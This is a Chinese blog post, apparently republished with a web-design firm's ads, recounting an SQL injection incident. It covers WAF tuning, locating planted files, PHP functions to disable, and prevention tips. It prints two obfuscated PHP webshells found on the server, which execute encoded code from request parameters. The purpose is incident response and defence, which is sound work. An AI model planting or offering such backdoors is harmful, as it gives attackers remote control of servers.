一次與sql注入&webshell的美麗“邂逅”

引言

?一波未平,一波又起。金融公司的業(yè)務(wù)實(shí)在是太引人耳目,何況我們公司的業(yè)處正處于風(fēng)口之上(區(qū)塊鏈金融),并且每天有大量現(xiàn)金交易,所以不知道有多少躲在暗處一直在盯著你的系統(tǒng),讓你防不勝防,并且想方設(shè)法的找到突破點(diǎn),以達(dá)到的目的來(lái)獲取非法利益。

公司主營(yíng)業(yè)務(wù):做網(wǎng)站、網(wǎng)站設(shè)計(jì)、移動(dòng)網(wǎng)站開(kāi)發(fā)等業(yè)務(wù)。幫助企業(yè)客戶(hù)真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競(jìng)爭(zhēng)能力。成都創(chuàng)新互聯(lián)是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開(kāi)放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對(duì)我們的高要求,感謝他們從不同領(lǐng)域給我們帶來(lái)的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶(hù)帶來(lái)驚喜。成都創(chuàng)新互聯(lián)推出尤溪免費(fèi)做網(wǎng)站回饋大家。

俗話(huà)說(shuō):“道高一尺,魔高一丈”。系統(tǒng)和代碼也可以這么理解,防的在好,總有漏洞。系統(tǒng)和代碼也沒(méi)有絕對(duì)的安全。該來(lái)的總會(huì)來(lái)......

sql注入與“她”相遇

某一天,天氣晴朗,心情舒暢?!八眮?lái)了,打破了筆者的美好時(shí)光。下午2點(diǎn)多鐘,筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個(gè)云廠(chǎng)商的Kubernetes一場(chǎng)技術(shù)沙龍,正聽(tīng)得興致勃勃的時(shí)候,筆者的公司群里有個(gè)php開(kāi)發(fā)突然帖出一張圖:
一次與sql注入 & webshell 的美麗“邂逅”

?這個(gè)時(shí)候,群里翻騰了。沒(méi)錯(cuò),被SQL注入了,數(shù)據(jù)庫(kù)的表被注入了字段,并且經(jīng)檢查后,發(fā)現(xiàn)這個(gè)庫(kù)中的大部分表都被注入了這個(gè)字段。我的電腦沒(méi)帶在身邊,真是著急,馬上跟總監(jiān)說(shuō)明問(wèn)題嚴(yán)重性。由于我電腦不在身邊, 只能把數(shù)據(jù)庫(kù)賬號(hào)授權(quán)(讀寫(xiě)權(quán)限)給那個(gè)php開(kāi)發(fā),讓他檢查所有的表,把被注入的字段刪除掉。并查看數(shù)據(jù)和其它表有沒(méi)有被修改。好在發(fā)現(xiàn)急時(shí),數(shù)據(jù)和業(yè)務(wù)都沒(méi)有被丟失和損壞。

?這里我要說(shuō)明一下,我們的業(yè)務(wù)都在阿里云,項(xiàng)目是以php為主,并且開(kāi)通了waf防火墻,只是waf上的防護(hù)措施比較寬松。筆者在安全方面的經(jīng)驗(yàn)也比較欠缺,好在開(kāi)通了阿里云的WAF,讓筆者在排查和防護(hù)上也變得輕松和快捷。

?此時(shí),我已經(jīng)在回家的路上,回到家中迅速打開(kāi)電腦。

調(diào)整waf策略

由于筆者也是剛接手工作,阿里云上的很多策略還沒(méi)得到及時(shí)調(diào)整。所以才這么容易被攻進(jìn)來(lái)。即然被注入了,肯定要把源給揪出來(lái)。我也在次把所有的表都檢查一遍,確認(rèn)沒(méi)問(wèn)題后,在去調(diào)整waf策略,進(jìn)入阿里云。

1、進(jìn)入相關(guān)域名的防護(hù)配置,我們先來(lái)看下調(diào)整前的策略,如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

一次與sql注入 & webshell 的美麗“邂逅”
從上圖可以看出,“Web應(yīng)用防護(hù)”策略是寬松模式,其主要作用就是防護(hù)SQL注入、XSS跨站等常見(jiàn)Web應(yīng)用,寬松模式下對(duì)業(yè)務(wù)的誤報(bào)程度最低,但也容易漏過(guò)***?!皭阂釯P懲罰”也沒(méi)啟用。這么寬松的防護(hù)措施風(fēng)險(xiǎn)比較大。趕緊先調(diào)整吧。

2、調(diào)整后的策略(如有多個(gè)域名,都調(diào)整過(guò)來(lái)),如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

防護(hù)策略調(diào)整過(guò)了,還需要把問(wèn)題根源找到啊,這才是最重要的!??!

查找可疑文件

此時(shí),php的項(xiàng)目源碼分布在好幾臺(tái)服務(wù)器上,如果靠傳統(tǒng)方式去排查,挨個(gè)檢查這些服務(wù)器的目錄,各種能用的命令都用上了,是不是也挺費(fèi)勁費(fèi)時(shí)的,還不知道要查到啥時(shí)候。這個(gè)時(shí)候,阿里有項(xiàng)服務(wù)起到關(guān)鍵的作用了:“態(tài)勢(shì)感知”,這個(gè)需要升級(jí)為企業(yè)版本(費(fèi)用不高,我們公司開(kāi)通了一年,費(fèi)用6000多塊)。這就是用阿里的好處(不是打廣告),確實(shí)讓你省心。
1、進(jìn)入“態(tài)勢(shì)感知”查看一下,就立馬發(fā)現(xiàn)了一堆異常行為,遍布在好幾臺(tái)服務(wù)器上如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

2、點(diǎn)幾個(gè)異常行為進(jìn)入看看,我就打開(kāi)其中兩個(gè)行為看一下,其它的行為也都差不多,如下圖:
一次與sql注入 & webshell 的美麗“邂逅”
一次與sql注入 & webshell 的美麗“邂逅”

從命令行參數(shù)中可以看出相關(guān)目錄有/Mode/Lite/,并且給出的解決方案是及時(shí)排查可疑目錄下的信息并及時(shí)清除。筆者順著給出的提示在服務(wù)器上進(jìn)行 find 相關(guān)目錄,查找出目錄所在路徑,如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

順藤摸瓜吧,列一下這個(gè)目錄的文件:
一次與sql注入 & webshell 的美麗“邂逅”

從上圖發(fā)現(xiàn)了有兩個(gè)異常的php文件,目錄屬主也和其它文件不一樣,筆者打開(kāi)代碼倉(cāng)庫(kù)也進(jìn)入相同的目錄進(jìn)行比對(duì),代碼倉(cāng)庫(kù)中確實(shí)沒(méi)有這兩個(gè)文件。為了確認(rèn)清楚,把這兩個(gè)文件down下來(lái)發(fā)給開(kāi)發(fā)。開(kāi)發(fā)說(shuō)項(xiàng)目中沒(méi)有這兩個(gè)文件。把它down下來(lái)打開(kāi)文件看看:

Content.class.php文件內(nèi)容:

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
}

這代碼不就是被注入的表里的字段嗎,上面這段代碼大概意思為:把post請(qǐng)求的兩個(gè)參數(shù),一個(gè)用base64解密,一個(gè)用hex2bin轉(zhuǎn)成16進(jìn)制,然后拼接在一起,應(yīng)該是把操作數(shù)據(jù)庫(kù)的語(yǔ)句加密傳過(guò)來(lái),然后解密,這樣就不會(huì)被攔截掉。如果哪位博友認(rèn)為解釋的有誤,一定要提出來(lái)。

Lite.class.php文件內(nèi)容:

<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
    $page = $_REQUEST['error'];
    $limit = $_REQUEST['limit'];
    $func = base64_decode(str_rot13(strrev($limit)));
    $func(base64_decode(str_rot13(strrev($page))));
    exit;

上面的代碼其實(shí)和之前的那段代碼有共性,反轉(zhuǎn)字符串然后ROT13 編碼,然后base64解碼,最后按照 PHP 代碼來(lái)計(jì)算,至于base64_decode,str_rot13,strrev是為了繞過(guò)WAF等安全設(shè)備的過(guò)濾。

已經(jīng)很明顯了,就是由上面這些代碼文件Content.class.php等文件給注入的。不用想了:rm -rf 吧。這個(gè)動(dòng)態(tài)感知還是挺好用的,能快速定位到風(fēng)險(xiǎn)目錄,讓你減少排查的時(shí)間和精力。

為了保險(xiǎn)起見(jiàn),繼續(xù)排查一下其它的目錄是否也存在可疑文件,一定要排查干凈了,操作一定要小心,也別誤刪,果然在同級(jí)目錄下又發(fā)現(xiàn)一個(gè),如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

還有一個(gè),如下圖:
一次與sql注入 & webshell 的美麗“邂逅”

和代碼倉(cāng)庫(kù)、開(kāi)發(fā)的對(duì)比,可以確定這兩個(gè)也是***傳進(jìn)來(lái)的可疑文件,我有一個(gè)習(xí)慣,刪除文件之前喜歡備份到本地。備份好這些可疑文件到本地之,都徹底清除掉。

雖然都清除掉了,waf防火墻也調(diào)整了,但是也沒(méi)有絕對(duì)的安全,還需要把php這些危險(xiǎn)的函數(shù)禁用掉,比如禁用phpinfo、exec()、system()等:

phpinfo()
功能描述:輸出 PHP 環(huán)境信息以及相關(guān)的模塊、WEB 環(huán)境等信息。
危險(xiǎn)等級(jí):中

passthru()
功能描述:允許執(zhí)行一個(gè)外部程序并回顯輸出,類(lèi)似于 exec()。
危險(xiǎn)等級(jí):高

exec()
功能描述:允許執(zhí)行一個(gè)外部程序(如 UNIX Shell 或 CMD 命令等)。
危險(xiǎn)等級(jí):高

system()
功能描述:允許執(zhí)行一個(gè)外部程序并回顯輸出,類(lèi)似于 passthru()。
危險(xiǎn)等級(jí):高

chroot()
功能描述:可改變當(dāng)前 PHP 進(jìn)程的工作根目錄,僅當(dāng)系統(tǒng)支持 CLI 模式
PHP 時(shí)才能工作,且該函數(shù)不適用于 Windows 系統(tǒng)。
危險(xiǎn)等級(jí):高

scandir()
功能描述:列出指定路徑中的文件和目錄。
危險(xiǎn)等級(jí):中

chgrp()
功能描述:改變文件或目錄所屬的用戶(hù)組。
危險(xiǎn)等級(jí):高

chown()
功能描述:改變文件或目錄的所有者。
危險(xiǎn)等級(jí):高

shell_exec()
功能描述:通過(guò) Shell 執(zhí)行命令,并將執(zhí)行結(jié)果作為字符串返回。
危險(xiǎn)等級(jí):高

proc_open()
功能描述:執(zhí)行一個(gè)命令并打開(kāi)文件指針用于讀取以及寫(xiě)入。
危險(xiǎn)等級(jí):高

proc_get_status()
功能描述:獲取使用 proc_open() 所打開(kāi)進(jìn)程的信息。
危險(xiǎn)等級(jí):高

ini_alter()
功能描述:是 ini_set() 函數(shù)的一個(gè)別名函數(shù),功能與 ini_set() 相同。
具體參見(jiàn) ini_set()。
危險(xiǎn)等級(jí):高

ini_set()
功能描述:可用于修改、設(shè)置 PHP 環(huán)境配置參數(shù)。
危險(xiǎn)等級(jí):高

ini_restore()
功能描述:可用于恢復(fù) PHP 環(huán)境配置參數(shù)到其初始值。
危險(xiǎn)等級(jí):高

dl()
功能描述:在 PHP 進(jìn)行運(yùn)行過(guò)程當(dāng)中(而非啟動(dòng)時(shí))加載一個(gè) PHP 外部模塊。
危險(xiǎn)等級(jí):高

pfsockopen()
功能描述:建立一個(gè) Internet 或 UNIX 域的 socket 持久連接。
危險(xiǎn)等級(jí):高

symlink()
功能描述:在 UNIX 系統(tǒng)中建立一個(gè)符號(hào)鏈接。
危險(xiǎn)等級(jí):高

popen()
功能描述:可通過(guò) popen() 的參數(shù)傳遞一條命令,并對(duì) popen() 所打開(kāi)的文件進(jìn)行執(zhí)行。
危險(xiǎn)等級(jí):高

putenv()
功能描述:用于在 PHP 運(yùn)行時(shí)改變系統(tǒng)字符集環(huán)境。在低于 5.2.6 版本的 PHP 中,可利用該函數(shù)
修改系統(tǒng)字符集環(huán)境后,利用 sendmail 指令發(fā)送特殊參數(shù)執(zhí)行系統(tǒng) SHELL 命令。
危險(xiǎn)等級(jí):高

禁用方法如下:
打開(kāi)/etc/php.ini文件,查找到 disable_functions ,添加需禁用的函數(shù)名,如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

趁著這次事件,把其它服務(wù)器也一并排查一下吧,需要點(diǎn)耐心慢慢排查,***把這些可疑文件偽裝的非常好,繞過(guò)了waf墻,人的肉眼不仔細(xì)看它都看不出來(lái),所以還是要自己細(xì)心一點(diǎn)干活。

需要聲明一下:每個(gè)人的做事方式都不一樣,本文只是把筆者遇到的事件分享給大家,僅作為交流和學(xué)習(xí)。

名詞解釋

sql注入:

所謂SQL注入,就是通過(guò)把SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢(xún)字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來(lái)說(shuō),它是利用現(xiàn)有應(yīng)用程序,將(惡意的)SQL命令注入到后臺(tái)數(shù)據(jù)庫(kù)引擎執(zhí)行的能力,它可以通過(guò)在Web表單中輸入(惡意)SQL語(yǔ)句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫(kù),而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語(yǔ)句。 比如先前的很多影視網(wǎng)站泄露VIP會(huì)員密碼大多就是通過(guò)WEB表單遞交查詢(xún)字符暴出的,這類(lèi)表單特別容易受到SQL注入式***.

webshell:

webshell就是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱(chēng)做為一種網(wǎng)頁(yè)后門(mén)。了一個(gè)網(wǎng)站后,通常會(huì)將asp或php后門(mén)文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁(yè)文件混在一起,然后就可以使用瀏覽器來(lái)訪(fǎng)問(wèn)asp或者php后門(mén),得到一個(gè)命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。
顧名思義,“web”的含義是顯然需要服務(wù)器開(kāi)放web服務(wù),“shell”的含義是取得對(duì)服務(wù)器某種程度上操作權(quán)限。webshell常常被稱(chēng)為***者通過(guò)網(wǎng)站端口對(duì)網(wǎng)站服務(wù)器的某種程度上操作的權(quán)限。由于webshell其大多是以動(dòng)態(tài)腳本的形式出現(xiàn),也有人稱(chēng)之為網(wǎng)站的后門(mén)工具。

安全防范小結(jié)

歸納一下,主要有以下幾點(diǎn):
1.永遠(yuǎn)不要信任用戶(hù)的輸入。對(duì)用戶(hù)的輸入進(jìn)行校驗(yàn),可以通過(guò)正則表達(dá)式,或限制長(zhǎng)度;對(duì)單引號(hào)和雙"-"進(jìn)行轉(zhuǎn)換等。
2.永遠(yuǎn)不要使用動(dòng)態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢(xún)存取。
3.永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫(kù)連接,為每個(gè)應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫(kù)連接。
4.不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息。
5.應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝。
6.sql注入的檢測(cè)方法一般采取輔助軟件或網(wǎng)站平臺(tái)來(lái)檢測(cè),軟件一般采用sql注入檢測(cè)工具jsky,網(wǎng)站平臺(tái)就有億思網(wǎng)站安全平臺(tái)檢測(cè)工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS***等。

參考:https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin
參考:https://baike.baidu.com/item/webshell/966625?fr=aladdin
參考:https://yq.aliyun.com/ziliao/8531
參考:https://www.cnblogs.com/huaxiamingwang/archive/2012/02/22/2363849.html

本章內(nèi)容到此結(jié)束,喜歡我的文章,請(qǐng)點(diǎn)擊最上方右角處的《關(guān)注》?。?!

一次與sql注入 & webshell 的美麗“邂逅”

分享題目:一次與sql注入&webshell的美麗“邂逅”
網(wǎng)頁(yè)URL:http://muchs.cn/article14/jophde.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號(hào)、服務(wù)器托管搜索引擎優(yōu)化、網(wǎng)站改版、靜態(tài)網(wǎng)站、自適應(yīng)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

微信小程序開(kāi)發(fā)